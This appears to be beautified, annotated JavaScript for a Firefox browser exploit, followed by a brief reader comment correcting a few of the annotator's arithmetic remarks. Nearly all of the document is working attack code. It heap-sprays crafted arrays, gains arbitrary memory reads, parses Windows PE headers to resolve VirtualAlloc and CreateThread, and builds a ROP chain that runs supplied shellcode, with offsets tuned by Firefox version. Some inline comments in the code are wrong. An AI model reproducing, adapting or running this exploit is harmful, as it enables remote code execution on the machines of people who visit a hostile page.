|
//beautified at http://jsbeautifier.org/ with default options |
|
//and then manually modified |
|
/*jslint bitwise: true */ |
|
|
|
self.onmessage = function (msg) { |
|
|
|
var thecode = msg.data; |
|
|
|
/** |
|
* Ostensibly unused function |
|
* @param {num} num |
|
* @return {string} |
|
*/ |
|
var pack = function (num) { |
|
return String.fromCharCode(num & 65535) + String.fromCharCode(num >> 16); |
|
}; |
|
|
|
/** |
|
* Object that accesses memory. |
|
* @param {number} base_addr - Base address in memory |
|
* @param {function} read_function - A function that reads from memory |
|
* @param {function} write_function - Dead code. ignore. I did not remove it as an argument because I wasn't sure how doing so would impact memory management. |
|
*/ |
|
function Memory(base_addr, read_function, write_function) { |
|
|
|
/** |
|
* @param {number} num |
|
* @return {number} |
|
*/ |
|
this.abs_read = function (num) { |
|
if (num >= base_addr) { |
|
num = read_function(num - base_addr); |
|
} else { |
|
num = 4294967295 - base_addr + 1 + num; |
|
num = read_function(num); |
|
} |
|
|
|
if (num < 0) { |
|
return 4294967295 + num + 1; //4294967295 = 2**31 - 1 |
|
} |
|
|
|
return num; |
|
}; |
|
|
|
/** |
|
* @param {number} num |
|
* @return {number} |
|
*/ |
|
this.readByte = function (num) { |
|
return this.read(num) & 255; //equivalent to (x % 255) I think |
|
}; |
|
|
|
/** |
|
* @param {number} num |
|
* @return {number} |
|
*/ |
|
this.readWord = function (num) { |
|
return this.read(num) & 65535; //equivalent to (x % 65535) I think |
|
}; |
|
|
|
/** |
|
* @param {number} num |
|
* @return {number} |
|
*/ |
|
this.readDword = function (num) { |
|
return this.read(num); |
|
}; |
|
|
|
/** |
|
* @param {number} num |
|
* @return {number} |
|
*/ |
|
this.read = function (num) { |
|
if (num % 4) { |
|
//TODO: unravel me |
|
var c = this.abs_read(num & 4294967292), |
|
d = this.abs_read(num + 4 & 4294967292), |
|
e = num % 4; |
|
return c >>> 8 * e | d << 8 * (4 - e); |
|
} |
|
|
|
return this.abs_read(num); |
|
}; |
|
|
|
/** |
|
* @param {number} num |
|
* @return {string} - a string of length 0 or greater |
|
*/ |
|
this.readStr = function (num) { |
|
var b = "", |
|
c = 0, |
|
d = 0; |
|
while (true) { |
|
if (32 === c) { |
|
return ""; |
|
} |
|
d = this.readByte(num + c); |
|
if (d === 0) { |
|
break; |
|
} |
|
b += String.fromCharCode(d); |
|
c += 1; |
|
} |
|
|
|
return b; |
|
}; |
|
} |
|
|
|
/** |
|
* Portable Executable windows file format |
|
* @param b - TODO |
|
* @param a - TODO |
|
*/ |
|
function PE(b, a) { |
|
this.mem = b; |
|
this.export_table = this.module_base = undefined; |
|
this.export_table_size = 0; |
|
this.import_table = undefined; |
|
this.import_table_size = 0; |
|
|
|
/** |
|
* @param {number} num |
|
*/ |
|
this.find_module_base = function (num) { |
|
num &= 4294901760; |
|
while (num) { |
|
if (this.mem.readWord(num) === 23117) { //23117 = 0x5a4d which is the magic number for PE files "MZ" |
|
this.module_base = num; |
|
return num; |
|
} |
|
|
|
num -= 65536; |
|
} |
|
}; |
|
|
|
this.resolve_pe_structures = function () { |
|
var peFile = this.module_base + this.mem.readWord(this.module_base + 60); |
|
if (this.mem.readDword(peFile) !== 17744) { //17744 = 0x4550 or "PE" |
|
throw "Bad NT Signature "; |
|
} |
|
|
|
this.pe_file = peFile; |
|
this.optional_header = this.pe_file + 36; |
|
this.export_directory = this.module_base + this.mem.readDword(this.pe_file + 120); |
|
this.export_directory_size = this.mem.readDword(this.pe_file + 124); |
|
this.import_directory = this.module_base + this.mem.readDword(this.pe_file + 128); |
|
this.import_directory_size = this.mem.readDword(this.pe_file + 132); |
|
}; |
|
|
|
/** |
|
* @param str {string} |
|
* @param b - TODO |
|
*/ |
|
this.resolve_imported_function = function (str, b) { |
|
if (this.import_directory === undefined) { |
|
this.resolve_pe_structures(); |
|
} |
|
|
|
var e = this.import_directory, |
|
c = e + this.import_directory_size, |
|
d = "", |
|
f = 0; |
|
while (e < c) { |
|
d = this.mem.readStr(this.mem.readDword(e + 12) + this.module_base); |
|
if (str.toUpperCase() == d.toUpperCase()) { |
|
c = this.mem.readDword(e) + this.module_base; |
|
e = this.mem.readDword(e + 16) + this.module_base; |
|
d = this.mem.readDword(c); |
|
f = 0; |
|
|
|
while (d !== 0) { |
|
if (this.mem.readStr(d + this.module_base + 2).toUpperCase() == b.toUpperCase()) { |
|
return this.mem.readDword(e + 4 * f); |
|
} |
|
f += 1; |
|
d = this.mem.readDword(c + 4 * f); |
|
} |
|
break; |
|
} |
|
e += 20; |
|
} |
|
return 0; |
|
}; |
|
if (a !== undefined) { |
|
this.find_module_base(a); |
|
} |
|
} |
|
|
|
/** |
|
* ROP = Return-Oriented Programming |
|
*/ |
|
function ROP(b, a) { |
|
this.mem = b; |
|
this.pe = new PE(b, a); |
|
this.pe.resolve_pe_structures(); |
|
this.module_base = this.pe.module_base + 4096; |
|
|
|
this.findSequence = function (a) { |
|
var b2 = 0, |
|
e = 0, |
|
c = 0; |
|
|
|
while (true) { |
|
e = 0; |
|
for (c = 0; c < a.length; c += 1) { |
|
if (this.mem.readByte(this.module_base + b2 + c) === a[c] && e === c) { |
|
e += 1; |
|
} else { |
|
break; |
|
} |
|
} |
|
if (e === a.length) { |
|
return this.module_base + b2; |
|
} |
|
b2 += 1; |
|
} |
|
}; |
|
|
|
this.findStackPivot = function () { |
|
return this.findSequence([148, 195]); |
|
}; |
|
|
|
/** |
|
* @param {string} a - This param is unused, so not sure why the string "EAX" is passed as arg. |
|
*/ |
|
this.findPopRet = function (a) { |
|
return this.findSequence([88, 195]); |
|
}; |
|
|
|
this.ropChain = function (a, b, e, c) { |
|
|
|
c = undefined != c ? c : new ArrayBuffer(4096); |
|
c = new Uint32Array(c); |
|
var d = this.findStackPivot(), |
|
f = this.findPopRet("EAX"), |
|
g = this.pe.resolve_imported_function("kernel32.dll", "VirtualAlloc"), |
|
i = 0; |
|
|
|
c[0] = f + 1; |
|
c[1] = f; |
|
c[2] = a + b + 4 * e + 4; |
|
c[3] = d; |
|
|
|
for (i = 0; i < e; i += 1) { |
|
c[(b >> 2) + i] = d; |
|
} |
|
|
|
d = (b + 4 >> 2) + e; |
|
c[d++] = g; |
|
c[d++] = a + (b + 4 * e + 28); |
|
c[d++] = a; |
|
c[d++] = 4096; |
|
c[d++] = 4096; |
|
c[d++] = 64; |
|
c[d++] = 3435973836; |
|
return c; |
|
}; |
|
} //end ROP |
|
|
|
var conv = new ArrayBuffer(8), |
|
convf64 = new Float64Array(conv), |
|
convu32 = new Uint32Array(conv), |
|
|
|
spr = new Array(400), |
|
arrBase = 805306416, |
|
ropArrBuf = new ArrayBuffer(4096), |
|
o1 = 176, |
|
o2 = 256, |
|
o3 = 768, |
|
o4 = 832, |
|
o5 = 864, |
|
o6 = 928, |
|
o7 = 1024, |
|
o8 = 1280, |
|
o9 = 1344, |
|
o10 = 1376, |
|
o11 = 1536, |
|
oRop = 1792, |
|
memory = new Uint32Array(16), |
|
len = memory.length, |
|
arr_index = 0, |
|
arr_offset = 0, |
|
offset = 0, |
|
vtable_offset = 300, |
|
memarrayloc, |
|
i = 0, |
|
j = 0, |
|
|
|
qword2Double = function (b, a) { |
|
convu32[0] = b; |
|
convu32[1] = a; |
|
return convf64[0]; |
|
}, |
|
doubleFromFloat = function (b, a) { |
|
convf64[0] = b; |
|
return convu32[a]; |
|
}, |
|
fzero = qword2Double(0, 0), |
|
sprayArrays = function () { |
|
var b = new Array(262138), |
|
a = 0; |
|
for (a = 0; 262138 > a; a += 1) { |
|
b[a] = fzero; |
|
} |
|
for (a = 0; a < b.length; a += 512) { |
|
b[a + 1] = memory; |
|
b[a + 21] = qword2Double(0, 2); |
|
b[a + 14] = qword2Double(arrBase + o1, 0); |
|
b[a + (o1 + 8) / 8] = qword2Double(arrBase + o2, 0); |
|
b[a + o2 / 8] = qword2Double(2, 0); |
|
b[a + (o2 + 8) / 8] = qword2Double(arrBase + o3, arrBase + 13); |
|
b[a + o3 / 8] = qword2Double(16, 0); |
|
b[a + (o3 + 24) / 8] = qword2Double(2, 0); |
|
b[a + (o3 + 32) / 8] = qword2Double(arrBase + o5, arrBase + o4); |
|
b[a + o4 / 8] = qword2Double(0, arrBase + o6); |
|
b[a + o5 / 8] = qword2Double(arrBase + o7, 0); |
|
b[a + (o6 + 8) / 8] = qword2Double(2, 0); |
|
b[a + (o7 + 8) / 8] = qword2Double(arrBase + o7 + 16, 0); |
|
b[a + (o7 + 16) / 8] = qword2Double(0, 4026531840); |
|
b[a + (o7 + 32) / 8] = qword2Double(0, 3220176896); |
|
b[a + (o7 + 48) / 8] = qword2Double(2, 0); |
|
b[a + (o7 + 56) / 8] = qword2Double(1, 0); |
|
b[a + (o7 + 96) / 8] = qword2Double(arrBase + o8, arrBase + o8); |
|
b[a + (o7 + 112) / 8] = qword2Double(arrBase + o9, arrBase + o9 + 16); |
|
b[a + (o7 + 168) / 8] = qword2Double(0, 2); |
|
b[a + o9 / 8] = qword2Double(arrBase + o10, 2); |
|
b[a + o10 / 8] = qword2Double(2, 0); |
|
b[a + (o10 + 8) / 8] = qword2Double(0, 268435456); |
|
b[a + (o11 + 8) / 8] = qword2Double(arrBase + o11 + 16, 0); |
|
b[a + (o11 + 16) / 8] = qword2Double(0, 4026531840); |
|
b[a + (o11 + 32) / 8] = qword2Double(0, 3220176896); |
|
b[a + (o11 + 48) / 8] = qword2Double(2, 0); |
|
b[a + (o11 + 56) / 8] = qword2Double(1, 0); |
|
b[a + (o11 + 96) / 8] = qword2Double(arrBase + o8, arrBase + o8); |
|
b[a + (o11 + 112) / 8] = qword2Double(arrBase + o9, arrBase + o9 + 16); |
|
b[a + (o11 + 168) / 8] = qword2Double(0, 2); |
|
} |
|
for (a = 0; a < spr.length; a += 1) { |
|
spr[a] = b.slice(0); |
|
} |
|
}; |
|
|
|
if (/.*Firefox\/(41\.0(\.[1-2]|)|42\.0).*/.test(navigator.userAgent)) { |
|
vtable_offset = 304; |
|
} else if (/.*Firefox\/(4[3-9]|[5-9]\d+|[1-9]\d{2,})\..*/.test(navigator.userAgent)) { |
|
vtable_offset = 308; |
|
} |
|
|
|
if (thecode.length % 2 !== 0) { |
|
thecode += "\u9090"; |
|
} |
|
sprayArrays(); |
|
postMessage(arrBase); |
|
memarrayloc = undefined; |
|
while (memarrayloc === undefined) { |
|
for (i = 0; i < spr.length; i += 1) { |
|
for (offset = 0; offset < spr[i].length; offset += 512) { |
|
if (typeof spr[i][offset + 1] !== "object") { |
|
memarrayloc = doubleFromFloat(spr[i][offset + 1], 0); |
|
arr_index = i; |
|
arr_offset = offset; |
|
spr[i][offset + o2 / 8] = qword2Double(65, 0); |
|
spr[i][offset + (o2 + 8) / 8] = qword2Double(arrBase + o3, memarrayloc + 27); |
|
for (j = 0; 33 > j; j += 1) { |
|
spr[i][offset + (o2 + 16) / 8 + j] = qword2Double(memarrayloc + 27, memarrayloc + 27); |
|
} |
|
spr[i][offset + (o3 + 8) / 8] = qword2Double(0, 0); |
|
spr[i][offset + o5 / 8] = qword2Double(arrBase + o11, 0); |
|
spr[i][offset + (o7 + 168) / 8] = qword2Double(0, 3); |
|
spr[i][offset + (o7 + 88) / 8] = qword2Double(0, 2); |
|
break; |
|
} |
|
} |
|
} |
|
} |
|
|
|
//for (memory; memory.length === len;); //probably equivalent to while loop, but haven't tested this |
|
//I think these are equivalent, but just in case I've left the for loop in original form in above comment |
|
while (memory.length === len) {} |
|
|
|
var read_function = function(b) { |
|
return memory[b / 4] |
|
}; |
|
var write_function = function(b, a) { //never gets used by Memory constructor |
|
memory[b / 4] = a; |
|
}; |
|
|
|
var mem = new Memory(memarrayloc + 48, read_function, write_function), |
|
xulPtr = mem.readDword(memarrayloc + 12); |
|
|
|
spr[arr_index][arr_offset + 1] = ropArrBuf; |
|
ropPtr = mem.readDword(arrBase + 8); |
|
spr[arr_index][arr_offset + 1] = null; |
|
ropBase = mem.readDword(ropPtr + 16); |
|
|
|
var rop = new ROP(mem, xulPtr); |
|
rop.ropChain(ropBase, vtable_offset, 10, ropArrBuf); |
|
var backupESP = rop.findSequence([137, 1, 195]), |
|
ropChain = new Uint32Array(ropArrBuf); |
|
|
|
ropChain[0] = backupESP; |
|
CreateThread = rop.pe.resolve_imported_function("KERNEL32.dll", "CreateThread"); |
|
|
|
for (var i = 0; i < ropChain.length && 3435973836 != ropChain[i]; i++); |
|
|
|
ropChain[i++] = 3296825488; |
|
ropChain[i++] = 2048; |
|
ropChain[i++] = 1347469361; |
|
ropChain[i++] = 1528949584; |
|
ropChain[i++] = 3092271187; |
|
ropChain[i++] = CreateThread; |
|
ropChain[i++] = 3096498431; |
|
ropChain[i++] = arrBase + 16; |
|
ropChain[i++] = 1955274891; |
|
ropChain[i++] = 280697892; |
|
ropChain[i++] = 704643071; |
|
ropChain[i++] = 2425406428; |
|
ropChain[i++] = 4294957800; |
|
ropChain[i++] = 2425393407; |
|
|
|
for (var j = 0; j < thecode.length; j += 2) { |
|
ropChain[i++] = thecode.charCodeAt(j) + 65536 * thecode.charCodeAt(j + 1); |
|
} |
|
|
|
spr[arr_index][arr_offset] = qword2Double(arrBase + 16, 0); |
|
spr[arr_index][arr_offset + 3] = qword2Double(0, 256); |
|
spr[arr_index][arr_offset + 2] = qword2Double(ropBase, 0); |
|
spr[arr_index][arr_offset + (o11 + 168) / 8] = qword2Double(0, 3); |
|
spr[arr_index][arr_offset + (o11 + 88) / 8] = qword2Double(0, 2); |
|
postMessage("GREAT SUCCESS "); |
|
}; |
Thanks for the writeup! A few random remarks:
2**32-1
(not 31); the number is also known asUINT_MAX
,UInt32.MaxValue
, or similar, depending on your platform.(a & 255) == (a % 256)
, as the largest remainder modulo n is (n-1).0xfffffffc
and thus a bitmask that strips off the the two least-significant bits when&
ed